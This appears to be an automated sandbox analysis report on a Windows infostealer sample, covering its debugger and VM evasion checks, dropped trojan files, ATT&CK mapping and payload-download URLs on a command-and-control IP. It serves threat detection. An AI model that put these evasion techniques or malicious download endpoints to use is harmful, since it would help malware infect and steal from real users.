Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B96 second address: 4DA0BA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 825D01 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9F2616 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: A5261B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AAE56B rdtsc

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]			Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Bunifu_UI_v1.5.3.dll			Jump to dropped file

Source: C:\Users\user\Desktop\file.exe TID: 7300	Thread sleep count: 47 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7300	Thread sleep time: -94047s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7304	Thread sleep count: 41 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7304	Thread sleep time: -82041s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7264	Thread sleep count: 31 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7264	Thread sleep count: 88 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7264	Thread sleep count: 125 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7264	Thread sleep count: 67 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7264	Thread sleep count: 151 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7264	Thread sleep count: 145 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7264	Thread sleep count: 50 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7284	Thread sleep count: 66 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7284	Thread sleep time: -132066s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7292	Thread sleep count: 46 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7292	Thread sleep time: -92046s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7276	Thread sleep count: 63 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7276	Thread sleep time: -126063s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7296	Thread sleep count: 42 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7296	Thread sleep time: -84042s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7288	Thread sleep count: 61 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7288	Thread sleep time: -122061s >= -30000s			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7280	Thread sleep count: 70 > 30			Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7280	Thread sleep time: -140070s >= -30000s			Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Amcache.hve.6.dr	Binary or memory string: VMware
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.6.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.6.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.6.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2538346807.00000000055A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.6.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.6.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.6.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.6.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.6.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, 00000000.00000002.2536989078.0000000000E26000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: Amcache.hve.6.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.6.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.6.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.6.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.6.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.6.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.6.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.6.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.6.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: file.exe, 00000000.00000002.2538346807.00000000055A8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH89
Source: file.exe, 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: Amcache.hve.6.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AAE56B rdtsc

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402A20 VirtualProtect,GetLastError,FormatMessageA,LocalAlloc,OutputDebugStringA,LocalFree,LocalFree,LocalFree,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10007A76 mov eax, dword ptr fs:[00000030h]		0_2_10007A76
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10005F25 mov eax, dword ptr fs:[00000030h]		0_2_10005F25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D6C9CB push dword ptr fs:[00000030h]		0_2_00D6C9CB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B50D90 mov eax, dword ptr fs:[00000030h]		0_2_04B50D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5092B mov eax, dword ptr fs:[00000030h]		0_2_04B5092B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402EC0 SetLastError,SetLastError,SetLastError,GetNativeSystemInfo,VirtualAlloc,VirtualAlloc,VirtualAlloc,GetProcessHeap,HeapAlloc,VirtualFree,SetLastError,HeapFree,VirtualAlloc,

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004099EA SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_004099EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A54A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040A54A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040CDA3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_0040CDA3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040A6E0 SetUnhandledExceptionFilter,		0_2_0040A6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_10002ADF SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_10002ADF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B59C51 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_04B59C51
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5A7B1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B5A7B1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5D00A IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_04B5D00A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_04B5A947 SetUnhandledExceptionFilter,		0_2_04B5A947

Source: file.exe, file.exe, 00000000.00000002.2536499578.00000000009A6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_3_04D096AC cpuid

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004107E2 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	3 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	781 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	2 Process Injection	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Deobfuscate/Decode Files or Information	NTDS	3 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	224 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Timestomp	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
file.exe	45%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	HEUR/AGEN.1320706
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent
C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Bunifu_UI_v1.5.3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\w8s4EAGWrfES\Y-Cleaner.exe	75%	ReversingLabs	ByteCode-MSIL.Trojan.Malgent

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empLK	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/download7	0%	Avira URL Cloud	safe
http://80.82.65.70/files/download2I	0%	Avira URL Cloud	safe
http://80.82.65.70/files/downloadDHV	0%	Avira URL Cloud	safe
http://80.82.65.70/dll/keyJW	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://80.82.65.70/soft/download	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=emp	false		high
http://80.82.65.70/dll/download	false		high
http://80.82.65.70/dll/key	false		high
http://80.82.65.70/files/download	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g-cleanit.hk	file.exe, 00000000.00000003.2298707182.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298741762.0000000005653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2301695340.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299809677.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000595E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2300562419.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000591E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299969169.0000000005A31000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/add?substr=mixtwo&s=three&sub=empLK	file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/dll/keyJW	file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download2I	file.exe, 00000000.00000002.2536989078.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.6.dr	false		high
http://www.ccleaner.comqhttps://take.rdrct-now.online/go/ZWKA?p78705p298845p1174	file.exe, 00000000.00000003.2298707182.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298741762.0000000005653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2301695340.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299809677.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000595E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2300562419.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000591E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299969169.0000000005A31000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/dll/download7	file.exe, 00000000.00000002.2538346807.0000000005590000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/1Pz8p7	file.exe, 00000000.00000003.2298707182.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298741762.0000000005653000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2301695340.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299809677.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000595E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2300562419.000000000595F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2298892660.000000000591E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2299969169.0000000005A31000.00000004.00000020.00020000.00000000.sdmp, soft[1].0.dr, Y-Cleaner.exe.0.dr	false		high
http://80.82.65.70/files/downloadDHV	file.exe, 00000000.00000002.2536989078.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
80.82.65.70	unknown	Netherlands		202425	INT-NETWORKSC	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574030
Start date and time:	2024-12-12 20:35:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.evad.winEXE@2/15@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.20, 4.175.87.197, 13.107.246.63, 20.190.177.149
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus15.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
14:36:35	API Interceptor	486x Sleep call for process: file.exe modified
14:37:27	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
80.82.65.70	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70/soft/download
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70/files/download
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70/soft/download

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INT-NETWORKSC	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\dll[1]	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\soft[1]	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	Mk4JWS27SO.exe	Get hash	malicious	Unknown	Browse
	BsVEQQnfyN.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Socks5Systemz	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_file.exe_fafd47531ab6d510499988ddace487f076f293_c8b7b6aa_47fc8820-cc8a-4b90-949a-b3927929f86a\Report.wer

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.969929924561842
Encrypted:	false
SSDEEP:	192:T60I+vXPiA0u1HzI3judvszuiFcZ24IO8TVBV:2MXou1HEjPzuiFcY4IO8X
MD5:	307963D67B719ABB11BEBEEBFCFB7BEC
SHA1:	BFB778FD42420F9A87C4C1796BAC6CF1272EA100
SHA-256:	EF0AACC2D7EC03D26E8F699BF0016C2746FC864A3D003F01146E9B7B697E2253
SHA-512:	F8B6A85FFC6C812E6AEE5DCBB672BBC3693CA886847A8956D10089AAEAC533D99F0A5BCA760CD42F6C26D1847C9F20905CDAC8C2D551B60612C21840A0D7DF51
Malicious:	true
Reputation:	low
